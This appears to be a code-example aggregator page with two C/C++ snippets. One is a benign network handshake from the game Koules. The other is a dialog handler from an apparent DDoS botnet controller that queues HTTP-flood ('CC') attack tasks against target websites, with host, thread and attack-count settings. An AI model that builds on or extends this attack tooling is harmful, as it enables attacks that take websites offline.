예제 #1
0
int
init_client (void)
{
  long            bytes, pport;
  int             gx, gy;
  int             retries = 0;
/*Open server socket */
  printf ("Opening server socket\n");
  if ((socket_c = CreateDgramSocket (0)) == -1)
    {
      error ("Could not create connection socket");
      SocketClose (socket_c);
      exit (-1);
    }
  strcpy(hostname,GetSockAddr(socket_c));
/*Create connection message */
  strcpy ((char *) buffer, "Koules");
  PUTCHAR (buffer + 7, VERSION);
  PUTSHORT (buffer + 8, GAMEWIDTH);
  PUTSHORT (buffer + 10, GAMEHEIGHT);
  PUTLONG (buffer + 12, (long) getpid ());
  printf ("Asking server at %s port %i\n", servername, initport);
#if 0
  if (DgramConnect (socket_c, servername, initport) == -1)
    {
      perror ("Connection error");
      error ("Can't connect to server %s on port %d", servername, port);
      close (socket_c);
      return -1;
    }
#endif
again:
  GetSocketError (socket_c);
  errno = 0;
  do
    {
      if (retries)
	sleep (1);
      retries++;
      if (retries > 100)
	printf (" Connection timed out\n"), exit (-1);
      if (errno)
	{
	  perror ("Can't receive reply");
	  exit (-1);
	}
      if (DgramSend (socket_c, servername, initport,
		     (char *) buffer, INITPACKETSIZE) == -1)
	{
	  SocketClose (socket_c);
	  perror ("Can't send message to server");
	  exit (-1);
	}
      if (errno)
	{
	  perror ("Can't send message to server");
	  /*exit (-1); */
	  GetSocketError (socket_c);
	  errno = 0;
	}
      SetTimeout (1, 10 * 1000);
    }
  while (!(SocketReadable (socket_c)));
  bytes = DgramReceiveAny (socket_c, (char *) buffer, BUFFERSIZE);
  if (bytes != REPLYSIZE)
    goto again;
  SocketClose (socket_c);
  GETLONG (buffer, port);
  if (port == 0)
    {
      printf ("Server refused me! (too many players or incompatible screen size)\n"
	      "Try -W server's option is you are using 320x200 clients..\n");
      exit (-1);
    }
  GETSHORT ((buffer + 4), gx);
  GETSHORT ((buffer + 6), gy);

  printf ("YYYYAAAAAAA Server replied.\n"
	  "Opening port %i\n", port);
  if ((sock = CreateDgramSocket (0)) == -1)
    {
      error ("Can't create datagram socket");
      return -1;
    }
  SetTimeout (1, 10 * 1000);

  /*if (DgramConnect (sock, servername, port) == -1)
     {
     error ("Can't connect to server %s on port %d", servername, port);
     close (sock);
     return -1;
     } */
  if (SetSocketNonBlocking (sock, 1) == -1)
    {
      error ("Can't make socket non-blocking");
      return -1;
    }
  printf ("Sending initialization message\n");
  pport = GetPortNum (sock);
  if (gx / DIV > GAMEWIDTH || gy / DIV > GAMEHEIGHT)
    {
      printf ("Server's gamepool too large\n"
	      "Try -W on server's command line\n");

      PUTLONG (buffer, 0);
      if (DgramSend (sock, servername, port,
		     (char *) buffer, 4) == -1)
	close (sock);
      exit (-1);
    }
  else
    GAMEWIDTH = gx, GAMEHEIGHT = gy;
  PUTHEAD (SINIT);
  PUTLONG (buffer + HEADSIZE, pport);
  if (SetSocketReceiveBufferSize (sock, NETBUFFER) == -1)
    {
      error ("Can't set socket buffer size");
      return -1;
    }
  if (SetSocketSendBufferSize (sock, NETBUFFER) == -1)
    {
      error ("Can't set socket buffer size");
      return -1;
    }
  GetSocketError (sock);
  csendreliable (buffer, 4 + HEADSIZE);
  csendbuffer ();
  csendbuffer ();
  csendbuffer ();
  printf ("Starting game...\n");
  return (0);
}
예제 #2
0
void CWebAttackDlg::OnAddtask() 
{
	// TODO: Add your control notification handler code here
	UpdateData(TRUE);

	//过滤掉一些特殊的字符....
	if(m_Port<0 || m_Port >65535)
	{
		MessageBox("端口错误!");
		return;
	}
	if(m_TargetWeb.GetLength()<=0 ||m_TargetWeb.GetLength()>400)
	{
		MessageBox("目标错误!");
		return;
	}
	//这里直接把参数过滤掉...
	CString Temp;

    GetDlgItemText(IDC_COMBO_MODEL,Temp);
	if(Temp =="网站: 轮回CC")
	{
		if(m_TargetWeb.Find("%d")==-1)
		{
			MessageBox("轮回CC目标地址必须包含 %d 通配符!","添加失败!");
			return;
		}
	}

	if(Temp =="网站: 变异CC" || Temp =="网站: 模拟 IE" || Temp =="网站: 轮回CC")
	{
		CHAR TempStr[400]={NULL};
		WORD iPort=GetPortNum(m_TargetWeb.GetBuffer(0),m_Port,TempStr);
		if(iPort==0)
		{
			MessageBox("地址包含不合法信息!");
			return;
		}
		m_Port = iPort;
		m_TargetWeb.Format("%s",TempStr);
	}
	else
	{
		m_Port=ForMatFlowAddr(m_TargetWeb.GetBuffer(0),m_Port);
	}


	WORD iCount = m_TargetList.GetItemCount();

	m_TargetList.InsertItem(iCount,"",TRUE);
	
	m_TargetList.SetItemText(iCount,0,m_TargetWeb);
	
	Temp.Format("%d",m_Port);
	m_TargetList.SetItemText(iCount,1,Temp);

	
	//主机数量 如果选择的是已经选中主机
	if(m_SelectHost)
		Temp="选中主机";
	else
		Temp.Format("%d",m_HostNums);
	m_TargetList.SetItemText(iCount,2,Temp);


	Temp.Format("%d",m_ThreadNums);
	m_TargetList.SetItemText(iCount,3,Temp);

	Temp.Format("%d",m_AttckTims);
	m_TargetList.SetItemText(iCount,4,Temp);

	GetDlgItemText(IDC_COMBO_MODEL,Temp);
	m_TargetList.SetItemText(iCount,5,Temp);

	if(Temp=="网站: 轮回CC")
		Temp.Format("%d-%d",m_StartVar,m_EndVar);
	else
		Temp="不支持";
	
	m_TargetList.SetItemText(iCount,6,Temp);

	Temp=(m_NewAuto)?"是":"否";

	m_TargetList.SetItemText(iCount,7,Temp);
	
	m_TargetList.SetItemText(iCount,8,"空闲");

	Temp.Format("%d",TaskID++);

	m_TargetList.SetItemText(iCount,9,Temp);

}